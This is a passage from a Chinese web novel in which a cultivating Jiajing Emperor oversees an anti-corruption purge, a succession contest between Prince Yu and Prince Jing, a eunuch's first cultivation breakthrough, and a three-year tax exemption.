他没想到,这里面竟然有这么多门道。 “可是如此一来,这恶人的名声,我还是不能彻底摆脱,父皇那里我终究还是不如老四。”裕王有些丧气的捏了捏拳头。 他觉得主动去让景王配合自己,就像是一个弱者,收拾不了烂摊子了,找胜利者帮忙一样。 “若是三哥觉得位太高,责太重,大可以从高处下来,做一些自己力所能及的事情。身为弟弟,我很乐意代劳……” 耳边仿佛又响起了,景王的声音。 “这也简单。”这时,徐阶缓缓开口。 听到这话,众人都不由的朝着这位,今日话格外的多的徐阁老。 “徐阁老有何妙招?”裕王闻言眼前陡然一亮。 “当年,从景王殿下去德安就藩开始,就一直不停的向朝廷要钱,要地。”徐阶说着,从袖口里拿出一份奏本,递给裕王,道: “但是这些,并不能满足他。” “之后,到了德安,先是派人去荆州沙市,辽王府上的产业收租,而后又派人去汉阳,去楚王府上的土地收柴火税。” 裕王接过徐阶的奏本,惊讶的看着徐阶,而后心中又是一阵欣慰。 没想到,自己一边的徐阶,徐阁老,在严嵩出手的同时,也已经出手了。 “此等税收,并不是把从其他王府上收上来的税,拨给景王殿下,而是二次收税!” 听到这里,高拱张居正等人都是眉头一皱。 “这所谓的二次收税是指,不管百姓有没有交税,都必须要再被景王殿下收一次!” “荆州知府徐学谟看不惯景王这等行为,因此加以干涉,然后这位知府就被夺了官……” 裕王眉头深锁,逐条看着奏本上的内容。 “荆州沙市不在请中。中使责市租,知府徐学谟执不与,又取薪税于汉阳之刘家塥,推官吴宗周持之,皆获谴。其他土田湖陂侵入者数万顷……”看到这里,裕王手掌猛的用力。 一双眸子瞪的老大,不由的吸气,他实在没想到那位看起来皇子气度十足,行事作风极像父皇的四弟,在封地竟是如此行事。 说一句无法无天也不为过吧? “这些,为何从未有人报上来过?”裕王惊讶的看着徐阶。 “严党一手遮天,皇上宠爱景王,谁敢去说呢?”徐阶语气幽幽。 不过这些事,他都留意着呢。 就等着哪天,若是皇上要让景王回京,或者是废裕王,立景王为储君的时候,他就会把这个爆出来,到时候…… 就算是背上逼宫的帽子,也不能让景王上位! 只是这些曾经的后手,如今倒是都用不上就是了。 “殿下,只需要将这封奏本传出去,那么景王的名声,也不会好了。”说着,徐阶眸光深邃,看着裕王,道:“殿下要明白一件事。” “您与景王的争斗结果,从来都不是外界来评判的,你们的争斗,是皇上默许的!” “为的就是让你们各自得以磨砺。” “从而,可以更好的为皇上分忧,为皇上监国。” “所以,在储君之位确定之前,不要在意天下人的看法,要在意皇上的看法!” “谁当太子,是皇上说的算的。” “只要您在这次的争斗中,表现足够的手腕和魄力来,而不是显得无能,面对景王的攻势,毫无招架之力,那就不算输!” “徐阁老说的是,”张居正也跟着开口,道:“今天在玉熙宫,殿下败了一阵。有了这份弹劾奏本,景王殿下也不会好过。” “胜败乃兵家常事,重要的是要有所成长。” “要明白,位高权重。更要明白,居高声自远,非是藉秋风的道理!” “权力,来源于皇上和自身,无需过多在意之外的东西,”说着,张居正深吸一口气,郑重道:“皇者有仁者之心,也要行霸道术!” “太过拘泥于旁枝末节,反而会受其累,从而将自己的目的利益,办的一团糟。” “这符合一个皇者的行事作风!” “这才是,皇上对您,还有景王殿下的真正考验。” “他是在培养你们二位殿下,让二位殿下如何成为一个合格的储君!” 这时候,高拱也跟着沉声道:“殿下,你需要再这次的事情中,不断表现自己。” “你需要让皇上看到,你的本事!” “殿下,”赵贞吉也跟着点头,道:“重点是收获了皇上想要的结果,皇上想要的是看到合格储君的处事方式,是否合格!” “位置越高,遭受到考验就越多。” “如果拘泥于眼前的困境不可自拔,在皇上心里,就是无能,没有身为皇者的大局观。” “如此,皇上才会真正的失望。” “您是要一步步走向储君之位的,这个过程不要跟别人争一朝一夕的长短,而是蜕变自己。” 不得不说,老师多了就是好。 看着大殿中,自己的这一众班底,裕王只觉得心中豁然开朗。 没错,权力来源于父皇,只要得到父皇的认可就够了。 “本王,谢诸位师傅!”裕王起身,对着众人拱手作揖,徐阶等人则赶紧惶恐的起身,“臣等定会助殿下,登上太子之位!” 一时间,裕王府大殿内,其乐融融。 裕王心中的郁闷也跟着一扫而空,迎来的是前所未有的自信。 与此同时,景王府。 景王也在听完了严嵩的一番教导后,不由深吸一口气后吐出,道:“本王明白了。” “不论如何,都不能影响到父皇的目的。” “不错,”严嵩语气温吞,道:“适当的懂得放手,放敌人一手,从而达到最终的目的,让利益最大化,这才是合格储君应该做的。” “取舍之间,所行皆有目的,要懂隐忍。这就是皇上,想要让殿下明白的道理!” “殿下行事大气,不拘泥于小节,懂得利益最大化,但殿下缺少一份隐忍。” “一份为了利益和目的,可以放手的隐忍。” “一个合格的储君,皇者,要有耐心,懂隐忍,等到利益最大化的时候果断出手!” “你要让皇上看到,你有所成长,这就够了,此外的其他输赢,不必理会。” “自有我们这些臣子去斗,您只需要明白,如何为了自己的目标利益,用人即可!” 此刻,清流和严党,都已经通过这件事,看到了皇上要培养皇子的目的。 也因此开始根据二位皇子所欠缺的东西,进行对症下药的教授。 裕王因为一直小心谨慎,行事顾忌太多,考虑太多,总想着面面俱到,欠缺霸道。 虽然协理内阁以来,景王的出现,让他开始适当的去争,可根本上依旧没有改变。 所以,嘉靖需要让他明白,世上没有什么完美的事情,帝王行事结果导向,利益导向。 利益最大化,那就是他出手的时候。 至于羽毛是否干净,先取胜,自有大儒辩经。自有拥趸为你洗干净羽毛。 这世上,没有人可以说皇帝的不是,如果不是,那是奸佞蛊惑,身边无贤臣辅佐。 景王从小身受宠爱,他行事无所顾忌,皇族霸道的行事作风,天然具备。 但却缺乏一份谨慎和隐忍。 所以,嘉靖就让他在最得意的时候,放弃对裕王的穷追猛打,并且回过头,默契的等待着裕王那边出手,与他配合,完成整顿吏治。 如此,景王也就算是完成了嘉靖给的第一次考验。 时间匆匆,数日时间过去。 时间来到了嘉靖四十年,十月初五。 一连数日的时间,徐阶告病,不再入内阁。高拱、张居正等人,则是与六部一些他们这一派系的官员进行了一些会谈。 之后,东南传来消息,杭州知府马宁远,涉嫌巨额贪污,还污蔑百姓与倭寇勾结,杀人灭口,害死桑民齐大柱。 奏本上报内阁,马宁远这个严党一系的官员被下了大狱,判斩立决! 然而这还不算完,浙江布政使,郑必昌,按察使何茂才,涉嫌贪污,走私,证据确凿。 不久后,直接被判处斩立决。 之后,原本属于裕王一系的官员,立刻顶上三人空缺的职位。 一个月不到的时间,严党在东南的三名重臣被处理,抄家所得,全部冲入国库。 之后,严党一系开始剧烈反扑。 朝堂之上,六部,言官等严党一系的人,也开始了对裕王一系的人进行反击。 于是,朝中那些原本清流一系的官员,虽然依旧将信将疑张居正等人说的,裕王并不是要处理东南官场,而是要争储,对付严党。 但是严党的攻势太猛,他们也顾及不了了,他们只能被迫反击。 一时间,整个朝堂高层,可以说是极为精彩,几乎每隔一段时间就有人被下狱,贬谪,流放,抄家,或者是充军。 而空出来的这些职位,就意味着会有无数人因此而上位,这直接让整个大明官场一片欢呼,嗯,主要是那十多万的举人在欢呼! 他们等待的太久了! 天知道,这些人下去,对他们来说,是何等的好消息。 举人,简单来说并不是考中后,立马就可以当官的,举人想要当官,得等有缺才能补! 而且,通常举人只能被授予知县以下的官职。 能够被直接授予知县职务的举人,要么是背景深厚,要么就是祖坟上冒青烟,撞大运了! 比如海瑞就是举人,出任仕途之初,仅仅担任了县学教谕这样的职务。 在大明,县学教谕这个官职,根本就属于是官场中的不入流货色,也就是拥有个官身、在吏部有个备案,但比从九品还要低一级! 但不管怎么说,不入流也是官、不是吏。 如果祖坟冒青烟,走了大运,也是可以升到正一品的,但大明朝历史上还没有这种人。 海瑞到现在,任大同巡抚,也还是正二品。 因此想要做正一品,这绝对不可能,这些举人,说白了,他们永远只能是吏! 这一次,官场巨变,权力洗牌,可以说是一鲸落万物生也不为过了! 上面的下来,有人补上空缺,空出来的官位,也就自然的轮到他们了。 对于这十多万举人来说,就是天降甘霖,他们已经做好这辈子就这样的准备了。 没想,竟然有这等好消息来。 嗯,感谢贪官,感谢污吏,感谢祖宗! …… 嘉靖四十年,十月初六。 三品户部侍郎方子明,因贪污罪,被下狱。 …… 嘉靖四十年,十月十五。 五品刑部郎中,何文轩,因包庇罪犯,被贬谪至边疆充军。 …… 嘉靖四十年,十一月初二。 四品都察院左佥都御史,陆长青,因上疏朱纨案言事,涉嫌构陷同僚,被流放岭南。 …… 嘉靖四十年,十一月二十。 六品工部员外郎,柳云松,因监守自盗,被革职查办。 …… 嘉靖四十一年,正月初七。 二品吏部尚书,林安国,因结党营私,被削籍为民。 时间一直持续到嘉靖四十一年,总共三月时间,朝中清流和严党派系可以说是相互攻讦,上到六部、督察院、国子监下到东南官场。 一大批官员被清理,同时各地也有不少官员被提拔补上空缺。 而一些空出来小官,则是由那些等待许久的举人补上,渐渐地大明官场开始完成换血。 而随着各自势力被拼的所剩无几的时候,不论是清流一派,还是严党一系的官员,都后知后觉了,然而已经晚了,大势已去! 嘉靖四十一年,正月十五,朱纨案正式落寞,东南官场算是被清理大半。 然而,南边结束了,轮到了北边了! 朱纨案落幕后,牵扯出来的是嘉靖二十九年庚戌之变,俺答入侵之事。 之后,翁万达被开棺戮尸,后人被充军,流放,詹荣族人被抄家。 而后‘庚戌大狱’也正如计划中那样,正式在嘉靖四十一年,正月十五拉开了序幕。 这一次,整顿的是大明北部。 值得一提的是,东南官场被清洗,发生巨变的时候,倭寇开始作乱,不过却被胡宗宪派戚继光、俞大猷部镇压。 最后竟查出不少当地士绅家族,还有官员与海盗勾结,冒充倭寇作乱。 总之,东南想要有波动,却是没能泛起浪花来。 对于这一切,嘉靖通过本命,视听天下,也在暗中帮助了不少,锦衣卫、东厂和西厂的快马,几乎每日都要在京城街道上狂奔。 此时,嘉靖正站在灵田小院里,看着盘腿坐在柳树苗下,浑身被灵气漩涡包裹的吕芳。 与当初计算的差不多。 半年时间吕芳也终于完成了引气入体阶段,打通了所有穴窍,开始突破练气一层了。 “大明,除了朕之外的第一个真正的修仙者,终于要出现了!”嘉靖心中有些期待。 之后,等突破筑基,自己即使在修仙世界,也能让吕芳这个修仙者,在大明办事!总之,培养一个修仙者放在大明,有太多的方便了。 “……” 本章7.6K+,算是晚更的补偿吧,诚意满满。 接下来,本书要适当的加快一些进度了,另外大大们,就差4张月票了,拜托了!!! 新的一周,推荐票也别忘啊,要不然数据太难看了。 第一百一十七章 吕芳突破,免税三年,该轮到百姓享福了! 嘉靖四十一年,正月廿五,晴。 灵田小院中,吕芳周身的气息不断攀升。 整个灵田小院的灵气几乎都在朝着他一个人汇聚而来。 不知道过了多久,随着灵气漩涡旋转的越来越快,直接将吕芳整个人裹挟。 “成功了!”以嘉靖的经验来判断,自然一眼就看出,吕芳这是要突破了。 果然下一刻,几乎是随着他话音落下的一瞬间,灵气激荡而出,朝着嘉靖席卷而来。 “哗!”对此,嘉靖只是大手一挥,跟着眼前的灵气就被他打散。 嗯,也就是在灵田小院了,这里空间并不是很大,灵气汇聚浓郁,被固定在一处。 若是在修仙世界,突破一个区区的练气一层,根本不会有如此之大的动静。 “呼,”这时,等到灵气缓缓平息消散之后,吕芳轻轻吐出一口浊气,而后双眼缓缓睁开的同时,眼神当中有莫名的流光拂过。 继而,就见他面上的神情,转化为惊喜之色,来不及多想,吕芳直接对着嘉靖跪了下去,同时激动道:“奴婢谢主子再造之恩!” “起来吧,”看着激动的热泪盈眶的吕芳,嘉靖微微一笑,回身朝着玉熙宫内而去,同时语气幽幽道:“这是你自己争气。” “若是没有主子给奴婢,赐下仙法,还给奴婢灵物资源,奴婢就算再怎么努力修炼,都不可能成为一个修仙者,踏上仙途。” 吕芳赶紧小步跟上,感激涕零道。 他太清楚,自己现在能成为一个合格的修仙者,这里头最关键的是什么了。可以说,嘉靖给了他一个未来,一个无限可能的未来! 这份恩情,他永远都报答不完,他唯一能做的,就是尽心尽力的服侍主子,把主子安排下来的每一件事,都做到尽善尽美。 “如今南北大定,东南地区吏治整顿结束,”嘉靖没有去接吕芳说的这个话茬,因为对他来说吕芳的感激并不重要。迈步来到桌前,抽出当初写下大明六大危机的那张纸,“这次,东南整顿吏治,总共收缴下来多少钱?” 听到嘉靖说起正事,吕芳也立刻收敛心中的情绪,先是略一沉吟,而后道:“主子稍等,昨天内阁倒是有汇总,已经呈上来了本子。” “只是昨日开始奴婢就在突破,主子为奴婢护法,所以耽搁了,没有看……” 说着,转身快步小跑着去往大殿上,在中间那条长长的,摆满了各种公文,奏本的桌上,拿起一个厚厚的奏本,小跑着回了偏殿。 “回主子,这次东南整顿吏治,抄家罚没所得,估计会非常的可观,”吕芳说着,翻开奏本的同时,满脸笑容的开始照着念了起来,“首先是追缴的每年被贪污的税银。” “其中主要包括盐税、田税、和关税以及其他。” “盐税,呵,”说到这里,吕芳轻笑一声,道:“标准是按照每年两百万两的税来算的,从嘉靖二十一年开始到嘉靖四十一年。” “每年,估算是三成税款被贪污。年均贪污是六十万两。” “东南地区的田税,标准是按照每年五百万两计算,其中两成的税被贪污。” “年均贪污是一百万两。” “然后是关税,东南地区的每年关税按照三百万两计,其中两成五左右被贪墨。” “年均贪污七十五万两左右。” “所以,税赋每年贪墨是……”吕芳说着,说着,脸上的笑容已经收敛了,取而代之的是一片前所未有的凝重之色,大脑飞速计算稍一会后,道:“总计每年贪污两百三十五万两。” “其中还有其他的一些税赋。其中还有抄家所得,总计是一千五百五十万两左右。” “零零总总汇算上来,从嘉靖二十一年到嘉靖四十一年,计算汇总,二十年期间,整个东南官场,收缴入国库,总计五千六百七十万两。” 吕芳说着,说着,也不作声了。 只是念完后,默默的将奏本,放在嘉靖的边上。 嘉靖二十一年开始贪,整整二十年,整个东南官场一次就收上来了五千六百七十万两。 这数字太庞大了,此前国库就算是按照正常来算,嗯,就是收成好的时候,也不过两百五十万两左右,而支出也是两百五十万两。 没错,这是正常情况下,收入与支出是平衡的,但是近些年,尤其是二十九年往后,财政几乎是时有赤字,越往后几乎年年赤字。 按照此前每年两百五十万两的支出来算,这五千六百七十万两,足足可支撑二十年之久。 也就是说用这笔钱,可以在全国免税,国家没有任何收入来源的情况下,支持二十年! 嘶!想着,饶是此刻修为已经达到练气一层,成为一名真正的修仙者的吕芳,此刻也不由得抽了口气,一阵阵的心惊肉跳。 这群人,可真敢贪啊! 富可敌国,原来并不是说说的! 一旦让东南这些人造反起事的话,那岂不是分分钟可以养一支精锐大军? 若是主子没有先见之明,直接在南北尚未大定的时候,就用暴力横推,那遭到反抗的这些士绅大族,当地贪官,会不会直接反了? 若是他们支持边境的女真部落、或者是草原部落,引狼入室,并支持他们钱财,那……想到这些,吕芳心头微微发寒。 不过跟着,他心头又是一松。 嗯,倒也不怕,他现在是练气一层的修仙者,更知道修仙者的强大。 更别说主子还有各种修仙者的手段。 比如北境,脏灭阴山那一次,再多的大军,也不用怕! 然而,吕芳不知道的是,大明是嘉靖的本命,以后也是他的本命物,如果直接暴力镇压,伤的还是他自己,所以只能一步步来修复。 修复这个千疮百孔的大明朝! 如此,等到本命和本命物绑定之后,这个崭新的大明,才会对他进行更好的反哺。 所以,嘉靖是永远都不会选择暴力横推的。 吕芳不知道内阁统计这笔数字的时候,众人当时是什么心情?羞愧有没有他不知道,但心中的惊恐,震惊等情绪,肯定是有的。 “好,好啊!这就是我大明朝的官员。”自从修仙之后,已经很少有什么东西能让嘉靖感到愤怒了,说着一把抓起奏本,瞪着眼道: “都是一群蠹虫,该死的蠹虫!” “这些都是国家的钱,是朕的钱!” “吼!”无形中似有恶龙在咆哮一般。 盛怒之余,嘉靖周身属于练气中期的修为气势不自觉的爆发,激荡的灵气,让整个玉熙宫都充斥着一股威压! 已经突破练气一层的吕芳,也是在这一刻,压力骤增,额头冷汗“唰”的流了下来。 这一刻,他深切感受到了境界之间的差距和鸿沟,仅仅练气五层爆发的气势,就不是他能抗的,更别说他对嘉靖本就敬畏。 外界和心里双重压力之下,吕芳终于坚持不住“噗通”一声跪倒在地,道: “主子息怒,如今蠹虫都已经被清算,不必为这些人动怒,不值当。” 听到吕芳的话,嘉靖阴沉着脸,深吸一口气后,平复了盛怒的情绪后,收敛激荡的灵气,“起来吧。” 说完看向自己当初写下的六大危机。 一、财政将崩。二、自然灾害频发。三、腐败与政治斗争动荡。 四、卫所制崩溃。五、民变频发。六、五年后,白银大量流入对大明的冲击! 如今第一个,第三个和第四个,基本上已经全部肃清。还有第五个,随着接下来吏治的整顿,还有军需的充足,民变也翻不起浪花。 只需要等到土地改制之后,把那些从修仙世界带回来的粮种给下去,百姓吃饱不是问题。 心中一动,嘉靖拿起边上的笔。 直接在当初定下的六大危机中,勾去了一、三、四、五,这四条。 “嘉靖三十九年底,到嘉靖四十一年正月,总共差不多是一年时间,呵!”想着,嘉靖不由的轻笑一声,道:“只剩下第二条和第六条。” “自然灾害频发……”想着,嘉靖微微摇头,这他可没办法解决,后世的记忆告诉他,整个大明都处于一个小冰河时期。 别说他修为才练气中期,就算是达到金丹,元婴级别,想要抗衡一个世界的自然之力?嗯,怕是分分钟就会被教做人。 “不过自然灾害不可抗,但却可以从其他方面入手,比如让百姓吃饱穿暖,有足够的钱粮赈灾,等到大明有了灵脉……” “滋生了灵气,整体生灵的生命强度都会大大提升,那时候只要朝廷办事得当,都不是什么大的问题…然后是第六条,白银流入。” “如今吏治整顿,土地改制,三年四年时间,边疆的卫所制必然恢复,之后会渐渐的向全国范围内覆盖,足以让天下彻底大定。” “嗯,接下来只需要对货币进行一次改革,等到嘉靖四十四年,足以完成脱胎换骨。” “届时,就算流入更多的白银,大明也有信心吃得下去!”想着,嘉靖因为之前被那触目惊心的贪污银钱弄的暴怒的心情彻底平复。 一旁的吕芳,看着白纸上,只剩下两条的危机,尤其是第二条“五年后的字样”,眸光一闪,低下了脑袋,心中对主子越发敬畏。 他如今已经修为达到了练气一层,并且对修仙的境界也有了一个基础的了解,但是他可不认为修仙者只有这么一点点手段。 当然,他也没有别的想法。 吕芳对自己的定位是非常清楚的。 尤其是现在修仙了以后,心中更是将自己的定位,时时刻刻的警醒着自己不敢忘记。 生怕自己随着修为的提升,就忘我。 越是身处高位,他就越发的如履薄冰,谨言慎行,常常告诉自己,如今的一切来之不易,千万不可得意忘形,在主子跟前失了分寸。 否则,别说现有的一切顷刻间会化作乌有被主子收回。 就算他这条命稍有不慎都有可能没了。 只有主子给的,才属于他,若是主子不给他的,他不能问,也不会去问。 他只需要本本分分,老老实实伺候好主子,到时候自然有好处,少不了他的。 所以对于那白纸上写着的,第六条危机以及五年后的字样,吕芳只当做是主子还有别的仙家手段可以预知未来。 再者说,主子都能修仙了,而且他自己也修仙了,又有一些预知未来的手段又有什么奇怪的呢? 那些假道士不也经常为他人推测命运,说什么知晓过去未来? 现在真正的“仙人”,有一些特殊的仙家手段,再正常不过。 “明日,让裕王景王,还有内阁来玉熙宫议政,接下来,朕还有事对他们吩咐。” 嘉靖说完,心中一动,拿出一张,成年人巴掌大小的白色纸条,这白纸条正是“本命符箓”,递给吕芳。 修为达到练气一层后,将灵气注入“本命符箓”之中,就会显现出本命的属性。 嗯,一般小宗门,没有“本命映照法器”,所以就会使用“本命符箓”来大致检测,一个人是否具备本命,毕竟有属性就有本命。 像是一些‘无根之命’,基本上用“本命符箓”是检测不出来的。 “主子,这是……”吕芳好奇的接过嘉靖递来的白色纸条,只觉得纸质有些特殊,触摸起来与他见过的大多数纸张都不同。 “此物,是用来测试你灵气属性的……”嘉靖没有说本命事,只是告诉他用来测试灵气属性的,而且这话倒也没有说错。 听完嘉靖的一番讲解之后,吕芳心中也不由暗暗激动起来,期待自己的灵气属性。 “试试看,你是什么属性。”对于吕芳,嘉靖还有其他的一些安排。 现在灵田小院当中,种植的一些灵草、灵药,都可以用来炼制一些简单的丹药。 若是吕芳的灵气属性,适合炼丹的话,嘉靖就会培养他朝着炼丹的方向发展。 如果他的灵气属性,适合种田的话,嘉靖就会培养他继续培育灵田。 “是!”吕芳定了定神,而后一手摊开“本命符箓”一手并指如剑,抵在符箓上。 指尖,灵气涌动,而后注入其中。 “倏!”随着一缕灵气输入,继而就见“本命符箓”上的图案突然亮起道道流光。 然后,符箓无风自动,被灵气裹挟着,漂浮在半空当中,闪烁着莹莹的光芒。 下一刻,只听“嗤”的一声,符箓上突然钻出一条嫩绿色的小树苗。 “木属性吗?”看到这一幕,嘉靖就要开口的时候,突然就在这时,只听“嘭”的一下,然后就见那小树苗上燃起一蓬火焰。 继而就见“火、木”两个字出现。而后“本命符箓”化作一片飞灰,消散于半空之中。 “主子,奴婢的灵气属性,有什么问题吗?”吕芳见嘉靖站在原地,一脸惊讶的模样,不由得有些担忧的出声询问起来。 “没什么问题,”收起心中的惊讶,嘉靖面上恢复了平静,而后对吕芳开口道:“你的灵气属性是火属性和木属性,双属性灵气。” “五行,木生火,算是很不错,”嘉靖心中想着,抬起手一本《丹册》出现,“火木双属性,倒是可以朝着炼丹方向发展。” “这本《丹册》里面,讲述了一些炼气期可以调配的灵药,和两方丹药的炼制。” “一方是疗伤所用,另一方是调理身体,祛除暗疾,病灶的普通灵药,之后……”说着,嘉靖一顿,然后道: “玉熙宫旁边的丹房就归你了。” 嗯,嘉靖此前也是会炼丹的,不过都是那些假道士教的一些假手段,所谓的丹药也都不过是一些普通的药方,吃了有害没害都不知道。 不过想来,肯定是有问题的就是了。 这些所谓的仙丹,甚至还不如李时珍开的一些养生的药方好用,自从踏上真正的修仙之路开始,嘉靖就已经放弃了这些。 虽然他的灵气属性也是火属性,炼丹也是可以的,但终究是不如火木双属性的灵气,相辅相成,在炼丹一道上具备天赋。 “谢主子!”吕芳自然知道练气期的修士,其实是可以绘制一些简单符箓,或者是炼制丹药的,所以此刻听到主子给自己“丹册”,让自己炼制丹药,心中激动可想而知。 “本想将符箓的基础绘制也教于你,”嘉靖说着,微微摇头,道: “但符箓绘制太耗费心神了,每张符箓的炼制,一笔一划的勾勒,都要有大量的灵气注入其中,并辅助一些简单的阵法。” “你现在不过是练气一层的修为,阵法一窍不通,不能注入符箓之中。” “而且灵气又有限,如果现在给你教如何炼制符箓,反而是害了你,还会拖慢你的修行进度,炼丹对你来说,会更适合,实惠。” “谢主子关心,”吕芳恭敬道:“主子怎么安排,奴婢就怎么做。” “行了,去灵田小院稳固一下修为,顺便熟悉熟悉《丹册》,等内阁的事处理完,朕又要闭关了,这段时间你就自行准备炼丹吧。” 值得一提的是,这三个月来,灵田小院的旁边,嘉靖又开了一扇门,方便日后自己玉熙宫闭关的时候,吕芳等人可以进入小院修炼。 毕竟自己闭关的时候,玉熙宫是用禁制封禁的,而通往灵田小院又只有一条路。 现在吕芳,裕王、景王,还有一抽空就进宫,借助灵田小院修炼的陆炳,随着穴窍的打通,引气入体也要提上日程。 自然是不需要灵田小院的灵气,辅助来进行修炼,但是这些灵气对于吕芳,陆炳等人来说,却是尤为珍贵,能起到事半功倍的效果。 考虑到自己接下来,可能要在修仙世界多待些时日,所以嘉靖干脆在灵田小院右侧又开了一扇门,并且将隔壁院子也打通,用禁制封好。 如此一来,就算不经过玉熙宫,吕芳等人也可以进入灵田小院修炼。 翌日,天气阴沉,下着蒙蒙细雨。 玉熙宫大殿之中,嘉靖独坐于御座之上,左右手两边,分别是裕王跟景王。 下方香炉边上,则是坐着小板凳的严嵩。 之后,内阁和司礼监分两列站定,中间则是一条长长的案桌,上面摆满了奏本公文,还有一些司礼监批红的条子。 “有三个事要说。”随着嘉靖开口,众人都是微微欠了欠身子,一副认真听的模样。 “一,这次东南收缴的钱,全部入国库,接下来,有了笔钱,足以支撑土地改制变法。” “二,这笔钱有多少,想必你们都知道,我大朝每年收入和支出也不过是二百多万两,近些年更是财政年年赤字。” “而这笔钱,足以支撑我大明,在没有任何收入的情况下,二十多年!”说着,嘉靖抬起两根手指,嗯,说到这个他声音还是忍不住低沉。 裕王,景王等人,都是默默低头。 嗯,当时他们清点账目的时候,也是一阵阵的心惊肉跳,好在皇上没有追究。 毕竟这里他们有些人的屁股,也是非常不干净的,与这些贪官污吏可以说是勾结很深。 不过好在,皇上仁慈,只是清算了自内阁之下的人,内阁的他们则是没有动。 “第三个,就是从今年起,一直到嘉靖四十四年初,”说着,嘉靖在众人的目光注视下,面容微缓的竖起三根手指,道: “免税三年,以彰显朝廷仁德!” 听到免税三年,众人都是一愣,而后又想到这次抄家罚没的巨款,倒也不惊讶了。 没听说吗?就算未来二十年没收入,这笔钱也足以支撑,区区三年免税算得了什么? “这些年,天灾,人祸,贪官污吏,苦了老百姓了,也该到了百姓享享福的时候了。” “当然,朕说的是老百姓的田税,至于盐税、关税等等杂税,该收的还要收。” “这些,你们看着去弄好。” 嗯,接下来要土地改制,除了要给百姓农户更多的优惠,补贴,还免费。 如此三年轮番攻势之下,就问哪个百姓不迷糊? “圣明天纵,无过帝君!”小阁老严世蕃当即开口,纳头就拜。 嗯,声音喊的那叫一个响亮,表情那叫一个虔诚,像是在朝圣一样。 看的高拱一阵牙痒痒,恨不得对着跪在地上的严世蕃,狠狠放一记黑脚,踹死这龟孙! 严世蕃都开始谄媚了,其他人也只能起身,跪倒在地,开始歌颂皇上。 “嗯,”嘉靖笑了笑,抬手道:“都起来吧,现在说第三个事。” “随着与西洋诸国的贸易,未来我朝必然会有大量的白银流入,这并非好事……”说着,嘉靖看向裕王跟景王,道: “所以,内阁跟六部,拿出个‘钱币改制’的法子来,必须要在嘉靖四十四年之前,全部完成,并推广下去。” 听到这话,严党跟清流都是心中一紧,同时知道。 来了,这是皇上给二王的第二个考验。 裕王跟景王这段时间,成长了不少,自然也听出了弦外之音,于是纷纷起身,对嘉靖躬身行礼,道:“儿臣明白,定不负父皇重望!” “……” 第一百一十八章 赏赐?莫非是…群臣激动!严世蕃:该死,他们吸的是什么! “东南地区的吏治整顿都很不错。”该说的,该安排的都安排完后,嘉靖抬了抬手指,“不过,北部乃至于全国的吏治也要改。” “是。”他们自然明白,整顿吏治是要从上下到下,全国范围内开始的。 自然不可能是因为,东南最有钱,就只整顿东南官场,蠹虫是不分地区的。 而且,这些也停不下来,虽说官场上下,整顿一番,大明要变法这些,但不论是清流还是严党,已经开始了新一轮的布局。 毕竟,二王之间的争斗,短时间内是不会停下的,储君之位谁知道会持续多久。 所以,为了各自支持的人,为了各自的利益,他们必须要重新培植自己的人。 “朕也知道,这次吏治整顿,委屈了一些人,”看着下方内阁群臣,嘉靖换了个舒适的坐姿,浑身惬意轻松,“千难万难,如今也算是过来了。处理那么多官员,朕也痛心。” 听到这话,众人身子再次弯了弯。 “好在,朕身边还有你们这些能臣,贤臣,都是好臣子,”说着,嘉靖抬了抬下巴,意味深长,“俗话说打虎亲兄弟,上阵父子兵。” “治国,就如同打仗,朕是这天下的君父,自是要与尔等臣子同心。” “都是好样的,都没有让朕失望。”看着这些被整的服服帖帖,各个身后干干净净的清流和严党两派人,嘉靖是怎么看怎么顺眼。 如今的大明,烂肉,浓疮都已经被清流干净,只需要等待伤口愈合即可。 一个崭新的大明,即将在自己手上重现。不过,再新的东西,也会变旧。 只要人还是人,人心人性就不会变。 长江为江,黄河为河。长江水清,黄河水浊。很多人不知,黄河在西汉之前也是清的,只是后来浑浊了,这才有了黄河之名。 长江在流,黄河也在流。 长江之水灌溉了两岸数省之田地,黄河之水也灌溉了数省两岸之田地,只能不因水清而偏用,也只能不因水浊而偏废,自古皆然。 所以,嘉靖相信,即便是发展成仙朝,大明朝永远都会有争斗,清流士大夫,会想着治国,实现心中抱负,和远大理想。 比如严党,也会继续贪污,但有时候也会是非常好用的工具,一双不脏手的手套。 有些脏活累活,严党可以办,但清流不能办,严党办了,清流就能开始攻讦。 如此,皇帝得了好处,达成了政治目的,明里惩罚一下,暗地里赏赐点东西。 所以,别看现在大明新生了,但争斗不会停下来,这些嘉靖看的很透彻他不会阻止。 不过,什么时候争斗,什么时候停下,谁赢谁输,这些都要嘉靖来决定。 不是他们谁想赢,就能赢的。 一个伟大的仙朝,个人力量很强,可要是有成百上千万的金丹大军,元婴大军,乃至更多的,更强的九劫散仙大军呢? 除非是仙人,否则你再强,也不过一个人,一个人,是不可能与大明为敌的。 就算你是仙人又如何呢?你是仙人,那我就发展一支成百上千万的仙人大军。 正如修仙世界的书院一样。 修仙者,确实个人伟力于一身,境界之间鸿沟天堑,可一个大乘期能秒杀十万百万炼气期,你能秒杀十万百万的同境界吗? 别说大军了,就算是同境界的来上三个,你也不会是对手。 得于斯,毁于斯的道理,也是如此,所以嘉靖需要臣子们斗,以此巩固自己的地位。 嗯,就像是斗蛐蛐一样? 不能让一方胜利,也不能让一方失败,只有如此,圈养着,才能长久的玩下去。 凡人王朝也好,仙朝也罢,归根究底,底层运行逻辑是不会变的。 若是将百姓欺压太过也会揭竿而起。 唯一不同的就是一群散修,驾驭飞剑,或者是一些破败久远的飞梭战船,蚍蜉撼树,最终被无情镇压,但这也是一种反抗! 身为皇帝,他要看到更多,更远,要明白,反抗之后的意义。 正如现在的大明,各地依旧有一些农民叛乱,最后被镇压,为什么都是忠臣看到反抗的背后是活不下去了,不反抗必死吗? 皇帝能看不到,自然是能看到。 有时候,看到了,想改,但也不一定能改就是了。 朝堂之上也一样,若是有权臣独霸,那么他掌握的力量就会更多更强,一样会威胁皇权。 因此啊,就算是仙朝,治国之道,对于皇帝来说,永远也离不开那四个帝王权术的根本,“御下之道”这四个字! 本命、本命物、自身三者一体。 一荣俱荣一损,要想好,就需要好生小心的去经营。 治凡人大国如烹小鲜,仙朝亦然。 “朕这里有些好东西,就赏赐给你们一些。”很多念头在心间一闪而过,嘉靖面上挂着笑容,抬了抬手示意。 好东西?!听到嘉靖这话,众人心中猛的一怔,都想到了某个可能。 此刻,就连一副昏昏欲睡,低眉垂目,不言不语的严嵩,老神在在,垂手而立的徐阶,也是心中不由的一怔,隐隐期待起来。 坐在嘉靖下手位置的裕王跟景王,对视一眼后,嘴角勾起笑容,目光看向最前方。 